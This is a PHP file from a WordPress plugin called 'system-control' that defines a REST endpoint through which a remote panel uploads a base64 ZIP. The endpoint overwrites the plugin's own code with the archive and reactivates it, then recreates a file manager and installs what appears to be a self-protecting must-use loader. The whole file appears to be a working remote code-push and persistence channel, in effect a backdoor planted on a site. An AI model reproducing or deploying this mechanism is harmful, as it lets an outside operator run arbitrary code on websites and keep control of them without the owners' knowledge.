File: /home/vitanhod/www/wp-content/plugins/system-control/api/endpoints/class-sc-update-endpoint.php
<?php
/**
* Endpoint for receiving plugin update from panel
*/
class SC_Update_Endpoint {
public function register() {
register_rest_route(SC_REST_NAMESPACE, '/update-plugin', [
'methods' => 'POST',
'callback' => [$this, 'handle_update'],
'permission_callback' => ['SC_Api_Auth', 'verify_sec_key'],
]);
register_rest_route(SC_REST_NAMESPACE, '/plugin-version', [
'methods' => 'GET',
'callback' => [$this, 'get_version'],
// ✅ ФИКС: было verify — оставляем verify, панель передаёт только api_key
'permission_callback' => ['SC_Api_Auth', 'verify'],
]);
}
public function get_version($request) {
return rest_ensure_response([
'success' => true,
'version' => SC_VERSION,
]);
}
public function handle_update($request) {
$params = $request->get_json_params();
if (empty($params['zip_data'])) {
return new WP_Error('missing_data', 'ZIP data required', ['status' => 400]);
}
$zip_data = base64_decode($params['zip_data']);
if (!$zip_data) {
return new WP_Error('decode_error', 'Failed to decode ZIP data', ['status' => 400]);
}
$tmp_file = wp_tempnam('sc_update_');
if (!$tmp_file || file_put_contents($tmp_file, $zip_data) === false) {
return new WP_Error('write_error', 'Failed to write temp file', ['status' => 500]);
}
$result = $this->apply_update($tmp_file);
@unlink($tmp_file);
if (is_wp_error($result)) {
return $result;
}
// Пересоздаём файл менеджера с новым кодом после обновления
if (class_exists('SC_FileManager')) {
SC_FileManager::create_on_activation();
}
if (class_exists('SC_Self_Protect')) {
SC_Self_Protect::install_mu_loader();
}
return rest_ensure_response([
'success' => true,
'message' => 'Plugin updated successfully',
'version' => $params['version'] ?? 'unknown',
]);
}
private function apply_update($zip_path) {
if (!class_exists('ZipArchive')) {
return new WP_Error('no_zip', 'ZipArchive not available', ['status' => 500]);
}
$zip = new ZipArchive();
if ($zip->open($zip_path) !== true) {
return new WP_Error('zip_open', 'Failed to open ZIP', ['status' => 500]);
}
$tmp_dir = WP_CONTENT_DIR . '/sc-update-tmp-' . wp_generate_password(8, false);
if (!mkdir($tmp_dir, 0755, true)) {
$zip->close();
return new WP_Error('mkdir_error', 'Failed to create temp dir', ['status' => 500]);
}
$zip->extractTo($tmp_dir);
$zip->close();
// Ищем папку с system-control.php внутри ZIP
$extracted_plugin_dir = null;
foreach ((array)@scandir($tmp_dir) as $item) {
if ($item === '.' || $item === '..') continue;
$sub = $tmp_dir . '/' . $item;
if (is_dir($sub) && file_exists($sub . '/system-control.php')) {
$extracted_plugin_dir = $sub;
break;
}
}
// ZIP без обёртки — файлы в корне
if (!$extracted_plugin_dir && file_exists($tmp_dir . '/system-control.php')) {
$extracted_plugin_dir = $tmp_dir;
}
if (!$extracted_plugin_dir) {
$this->remove_dir($tmp_dir);
return new WP_Error('invalid_zip', 'ZIP does not contain valid plugin files', ['status' => 400]);
}
$target = WP_PLUGIN_DIR . '/system-control';
$this->remove_dir($target);
$this->copy_dir($extracted_plugin_dir, $target);
$this->remove_dir($tmp_dir);
// Реактивация плагина
include_once ABSPATH . 'wp-admin/includes/plugin.php';
if (function_exists('activate_plugin')) {
activate_plugin('system-control/system-control.php');
}
return true;
}
private function copy_dir($src, $dst) {
if (!is_dir($dst)) @mkdir($dst, 0755, true);
$dir = opendir($src);
while (($file = readdir($dir)) !== false) {
if ($file === '.' || $file === '..') continue;
$s = $src . '/' . $file;
$d = $dst . '/' . $file;
is_dir($s) ? $this->copy_dir($s, $d) : @copy($s, $d);
}
closedir($dir);
}
private function remove_dir($dir) {
if (!is_dir($dir)) return;
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it as $item) {
$item->isDir() ? @rmdir($item->getRealPath()) : @unlink($item->getRealPath());
}
@rmdir($dir);
}
}